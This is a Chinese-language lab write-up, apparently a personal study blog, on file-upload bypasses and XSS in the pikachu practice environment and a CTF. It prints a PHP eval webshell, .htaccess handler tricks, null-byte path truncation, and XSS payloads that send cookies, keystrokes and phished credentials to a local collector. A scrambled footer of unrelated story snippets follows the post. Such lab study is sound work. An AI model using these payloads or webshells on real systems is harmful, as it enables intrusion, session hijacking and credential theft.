2021-10-09-文件上傳小問題與XSS(pikachu)

2021-10-09 文件上傳小問題與XSS(pikachu)

.htaccess漏洞利用

  1. 構(gòu)造.htaccess文件并上傳硕旗,文件內(nèi)容可以是:

//方法一
SetHandler application/x-httpd-php //所有的文件當(dāng)做php文件來解析
//方法二
AddType application/x-httpd-php .jpg //.jpg文件當(dāng)作php文件解析

當(dāng)上傳.htaccess文件到upload目錄時(shí),upload目錄下的文件會按其配置生效解析.

方法一這樣配置有一個(gè)問題,apache會將所有的.jpg后綴的文件當(dāng)作php文件解析橄镜,這樣會明顯影響系統(tǒng)的功能绩脆,改進(jìn)代碼如下,這樣系統(tǒng)就只對文件名包含“info.png”字符串的文件進(jìn)行解析阎毅。

<FilesMatch "^info.png$">
setHandler application/x-httpd-php
</FilesMatch> 
  1. 上傳一句話后門(info.png),使用蟻劍類工具連接点弯,獲得flag

<?php @eval($_POST['attack']);?>

.htaccess文件使用要開啟apache httpd.config AllowOverride All

文件內(nèi)容檢測

在文件上傳時(shí)扇调,如果后綴和MIME都修改后仍無法上傳,顯示”文件錯(cuò)誤“等情況抢肛,考慮是對文件內(nèi)容進(jìn)行了檢測狼钮。制作圖片馬,上傳后蟻劍連接:

copy 圖片.jpg/b + 木馬.php/a 木馬.jpg

/b 表示以二進(jìn)制方式打開
/a 表示以ASCII方式打</pre>

00截?cái)?/h4>

我以前以為所謂00截?cái)嗑褪窃谖募屑?code>%00進(jìn)行截?cái)嗉裥酰@種方式是不對的熬芜,為什么呢?比如攻擊者構(gòu)造文件名:admintony.php%00.jpg福稳,在提取后綴名的時(shí)候遇到%00則認(rèn)為字符串結(jié)束了涎拉,那么他提取到的后綴名會是.php.php后綴又不允許上傳所以上傳失敗了的圆。

應(yīng)該在數(shù)據(jù)包中必須含有上傳后文件的目錄情況才可以用鼓拧,比如數(shù)據(jù)包中存在path: uploads/,那么攻擊者可以通過修改path的值來構(gòu)造paylod: uploads/aa.php%00

為什么修改path才可以越妈,因?yàn)槌绦蛑袡z測的是文件的后綴名季俩,如果后綴合法則拼接路徑和文件名,那么攻擊者修改了path以后的拼接結(jié)果為:uploads/aaa.php%00/aaa.png梅掠,移動文件的時(shí)候會將文件保存為uploads/aaa.php酌住,從而達(dá)到Getshell效果。

img

XSS測試平臺

https://xsshs.cn/

創(chuàng)建項(xiàng)目瓤檐,創(chuàng)建完后會生成一個(gè)xss可用腳本地址

XSS的本質(zhì)是獲得cookie嗎赂韵?(答:主要是為了獲得cookie,XSS平臺的意義就是將獲取的cookie返回給攻擊者)

利用別人的cookie挠蛉,他們可以冒充真實(shí)的用戶祭示,在頒發(fā)cookie的那個(gè)網(wǎng)站中為所欲為,個(gè)人隱私在他們面前根本不存在。單純的alert函數(shù)就是彈窗嘛质涛,用戶可能會看到自己的cookie被彈出來稠歉。但是有了XSS平臺之后,每個(gè)觸發(fā)漏洞的用戶的cookie就會被發(fā)送到攻擊者搭建的XSS平臺上汇陆。

跨站腳本攻擊XSS怒炸,是最普遍的Web應(yīng)用安全漏洞。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中毡代,當(dāng)正常用戶訪問該頁面時(shí)阅羹,則可導(dǎo)致嵌入的惡意腳本代碼的執(zhí)行,從而達(dá)到惡意攻擊用戶的目的教寂。其導(dǎo)致的危害可想而知捏鱼,如劫持用戶會話,插入惡意內(nèi)容酪耕、重定向用戶导梆、使用惡意軟件劫持用戶瀏覽器、繁殖XSS蠕蟲迂烁,甚至破壞網(wǎng)站看尼、修改路由器配置信息等。

常用的XSS攻擊手段和目的有:   1盟步、盜用cookie藏斩,獲取敏感信息。   2址芯、利用植入Flash灾茁,通過crossdomain權(quán)限設(shè)置進(jìn)一步獲取更高權(quán)限;或者利用Java等得到類似的操作。   3谷炸、利用iframe北专、frame、XMLHttpRequest或上述Flash等方式旬陡,以用戶的身份執(zhí)行一些管理動作拓颓,或執(zhí)行一些一般的如發(fā)微博、加好友描孟、發(fā)私信等操作驶睦。   4、利用可被攻擊的域受到其他域信任的特點(diǎn)匿醒,以受信任來源的身份請求一些平時(shí)不允許的操作场航,如進(jìn)行不當(dāng)?shù)耐镀被顒印?   5、在訪問量極大的一些頁面上的XSS可以攻擊一些小型網(wǎng)站廉羔,實(shí)現(xiàn)DDos攻擊的效果溉痢。

ctfhub那道題,ctf的題目應(yīng)該是讓我們獲得別人的cookie,但是這是ctf的題目孩饼,不是公共的服務(wù)髓削,沒有其他用戶,所以ctf模擬了一個(gè)機(jī)器人镀娶。那就很清楚了立膛,我們的目標(biāo)就是獲得這個(gè)機(jī)器人的Cookie,然后"盜它的號"梯码,所以獲取了這個(gè)機(jī)器人的Cookie就意味著成功宝泵。所以理所應(yīng)當(dāng)?shù)模琭lag也就藏在cookie里了忍些。所以第二個(gè)文本框就是模擬別人點(diǎn)擊這個(gè)包含xss的鏈接的情形鲁猩。

XSS 釣魚; XSS獲取cookie 罢坝;XSS鍵盤記錄還有很多需要學(xué)習(xí)的……

pikachu 之XSS練習(xí)

反射型XSS(GET)

當(dāng)輸入內(nèi)容時(shí), 內(nèi)容被執(zhí)行寫入當(dāng)網(wǎng)頁:(who is ”xxx",)

image-20211009145428005.png

所以可以直接注入: <script>alert(document.cookie)</script> 盜取用戶cookie

image-20211009150000616.png

image-20211009145656607.png

復(fù)制當(dāng)前的url 輸入到新的界面中 就可以直接執(zhí)行剛才XSS的效果。GET方式的XSS漏洞更加容易被利用搅窿,一般利用的方式是將帶有跨站腳本的URL偽裝后發(fā)送給目標(biāo)嘁酿。比如某個(gè)論壇出現(xiàn)了XSS漏洞 我們就可以借此利用 來欺騙受害者 進(jìn)而達(dá)到XSS攻擊的目的。用戶一看前面的域名是比較著名的網(wǎng)站男应,以為沒問題闹司。后面的卻包含了惡意的JavaScript代碼,已get的方式提交到了網(wǎng)站沐飘,被返回到用戶的瀏覽器中執(zhí)行了游桩。

上述方式是彈窗的形式,這樣就可以把盜取的cookie保存到自己的站點(diǎn)中

<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

登錄http://127.0.0.1/pikachu/pkxss后臺查看獲取的cookie

image-20211009152256904.png
反射型XSS (Post)

登錄頁面是必不可少的耐朴,登錄之后也是一個(gè)輸入框借卧。

image-20211009153030104.png
image-20211009153057733.png

POST請求區(qū)別與GET請求,POST請求不能從URL讓用戶向服務(wù)器提交數(shù)據(jù)筛峭。所以為了進(jìn)行注入铐刘,需要讓用戶代替攻擊者提交POST請求,這就需要攻擊者自己搭建站點(diǎn)(http://127.0.0.1/pikachu/pkxss 在這里相當(dāng)于自己的站點(diǎn))影晓,然后在站點(diǎn)內(nèi)寫一個(gè)POST表單(/xcookie/post.html)镰吵,將我們搭建出的連接發(fā)給用戶,這樣就能讓用戶幫攻擊者提交POST請求發(fā)給存在XSS漏洞的中挂签。這樣就能竊取到用戶的cookie疤祭,就能偽造用戶登陸達(dá)到破壞的目的。

image-20211009154208493.png

點(diǎn)擊之后是下面這個(gè)偽造的頁面,點(diǎn)擊submit時(shí)數(shù)據(jù)已經(jīng)post走了,再一次盜取cookie保存下來谓传,還獲取了用戶名和密碼(md5加密)

image-20211009153222578.png
image-20211009154935099.png
image-20211009155024170.png
存儲型XSS

試一下alert(1)蜈项,有彈窗說明有漏洞。

存儲型xss和反射型的區(qū)別:就是當(dāng)你刷新這個(gè)界面续挟,還是會出現(xiàn)這個(gè)彈窗


image-20211009155326118.png

寫入和之前一樣的payload保存竊取的cookie:(每刷新一次就獲取一次)

image-20211009160652045.png

存儲型XSS漏洞還可以和釣魚網(wǎng)站以及竊取鍵盤輸入結(jié)合起來紧卒。

  • 釣魚

    • 彈出偽造驗(yàn)證框腳本(xfish/fish.php)

    • 將用戶輸入的信息進(jìn)行處理并保存(xfish/xfish.php)

    • 釣魚Payload:<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"'></script>

    這里有個(gè)巨坑,由于這里用的phpstudy搭建的環(huán)境诗祸,會發(fā)現(xiàn)一直提交授權(quán)跑芳,一直輸入密碼都不會將數(shù)據(jù)寫入數(shù)據(jù)庫。這個(gè)坑后來找到了原因:PHP 的 HTTP 認(rèn)證機(jī)制僅在 PHP 以 Apache 模塊方式運(yùn)行時(shí)才有效直颅,因此該功能不適用于 CGI 版本博个,我這里使用的是phpStudy搭建的環(huán)境,默認(rèn)是以CGI版本運(yùn)行PHP功偿。后續(xù)通過重新搭建環(huán)境解決此問題盆佣。

    這里使用作弊方法,直接將賬號密碼寫入

    <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php?username=admin&password=123456"'></script>

    ———————————————— 原文鏈接:https://blog.csdn.net/witwitwiter/article/details/115767014

  • 鍵盤記錄

    • 制作鍵盤的js械荷,異步發(fā)送給鍵盤記錄腳本(rkeypress/rk.js)

    • 將接受的按鍵記錄處理并保存(rkeypress/rkserver.php)

    • 鍵盤記錄Payload:<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"'></script>

DOM型xss

首先我們在輸入框中隨便輸入一串字符共耍。可以看到彈出一個(gè)what do you see?的提示吨瞎。我們查看一下源碼看到底做了一個(gè)什么樣的操作痹兜。代碼太長比較難找,Ctrl+F搜索一下what定位到源碼的相關(guān)位置颤诀。

image-20211009162947567.png
image-20211009163115359.png

可以看到這里有一段js的代碼字旭,我們可以簡單分析一下這段代碼。以前我們接觸到的反射型和存儲型都是通過后臺輸出崖叫,我們可以從源代碼中看到輸入點(diǎn)就是源碼中的input標(biāo)簽遗淳,DOM型的XSS漏洞通過了解我們可以知道是純前端的漏洞,分析源碼可移知道我們輸入后得到一個(gè)字符串归露,然后通過字符串拼接的方式拼接到a href中洲脂。輸出點(diǎn)我們可以從<a>標(biāo)簽構(gòu)造一個(gè)閉包函數(shù)。

payload:' οnclick=alert(1)
拼接結(jié)果: <a href=' ' οnclick=alert(1)'>

其實(shí)這種DOM注入沒有什么太大的用處剧包,因?yàn)榧葲]有發(fā)送到后臺進(jìn)行操作恐锦,也沒有輸入到URL中去。

DOM型xss-x
image-20211009163552680.png

查看源碼:


image-20211009163630205.png

payload和剛才的一樣疆液,也是首先閉合<a>標(biāo)簽一铅。

DOM型XSS只在前端,與后端毫無關(guān)系堕油。

DOM-X型危害更大潘飘,它能夠像反射型一樣在URL中體現(xiàn)肮之,將URL發(fā)給了受害者就能進(jìn)行攻擊。

參考資料

https://blog.csdn.net/redwand/article/details/104105269

https://www.cnblogs.com/chalan630/p/12547844.html

https://blog.csdn.net/qq_17046291/article/details/99336431

https://blog.csdn.net/redwand/article/details/104152782

https://blog.csdn.net/weixin_42299862/article/details/108518706

https://blog.csdn.net/weixin_43899561/article/details/89429726

https://blog.csdn.net/weixin_43526443/article/details/105737140

https://blog.csdn.net/witwitwiter/article/details/115797971

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末卜录,一起剝皮案震驚了整個(gè)濱河市戈擒,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌艰毒,老刑警劉巖筐高,帶你破解...
    沈念sama閱讀 219,039評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異丑瞧,居然都是意外死亡柑土,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,426評論 3 395
  • 文/潘曉璐 我一進(jìn)店門绊汹,熙熙樓的掌柜王于貴愁眉苦臉地迎上來稽屏,“玉大人,你說我怎么就攤上這事西乖『疲” “怎么了?”我有些...
    開封第一講書人閱讀 165,417評論 0 356
  • 文/不壞的土叔 我叫張陵获雕,是天一觀的道長荒叼。 經(jīng)常有香客問我,道長典鸡,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,868評論 1 295
  • 正文 為了忘掉前任坏晦,我火速辦了婚禮萝玷,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘昆婿。我一直安慰自己球碉,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,892評論 6 392
  • 文/花漫 我一把揭開白布仓蛆。 她就那樣靜靜地躺著睁冬,像睡著了一般。 火紅的嫁衣襯著肌膚如雪看疙。 梳的紋絲不亂的頭發(fā)上豆拨,一...
    開封第一講書人閱讀 51,692評論 1 305
  • 那天,我揣著相機(jī)與錄音能庆,去河邊找鬼施禾。 笑死,一個(gè)胖子當(dāng)著我的面吹牛搁胆,可吹牛的內(nèi)容都是我干的弥搞。 我是一名探鬼主播邮绿,決...
    沈念sama閱讀 40,416評論 3 419
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼攀例!你這毒婦竟也來了船逮?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,326評論 0 276
  • 序言:老撾萬榮一對情侶失蹤粤铭,失蹤者是張志新(化名)和其女友劉穎挖胃,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體承耿,經(jīng)...
    沈念sama閱讀 45,782評論 1 316
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡冠骄,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,957評論 3 337
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了加袋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片凛辣。...
    茶點(diǎn)故事閱讀 40,102評論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖职烧,靈堂內(nèi)的尸體忽然破棺而出扁誓,到底是詐尸還是另有隱情,我是刑警寧澤蚀之,帶...
    沈念sama閱讀 35,790評論 5 346
  • 正文 年R本政府宣布蝗敢,位于F島的核電站,受9級特大地震影響足删,放射性物質(zhì)發(fā)生泄漏寿谴。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,442評論 3 331
  • 文/蒙蒙 一失受、第九天 我趴在偏房一處隱蔽的房頂上張望讶泰。 院中可真熱鬧,春花似錦拂到、人聲如沸痪署。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,996評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽狼犯。三九已至,卻和暖如春领铐,著一層夾襖步出監(jiān)牢的瞬間悯森,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,113評論 1 272
  • 我被黑心中介騙來泰國打工罐孝, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留呐馆,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,332評論 3 373
  • 正文 我出身青樓莲兢,卻偏偏與公主長得像汹来,于是被迫代替她去往敵國和親续膳。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,044評論 2 355

推薦閱讀更多精彩內(nèi)容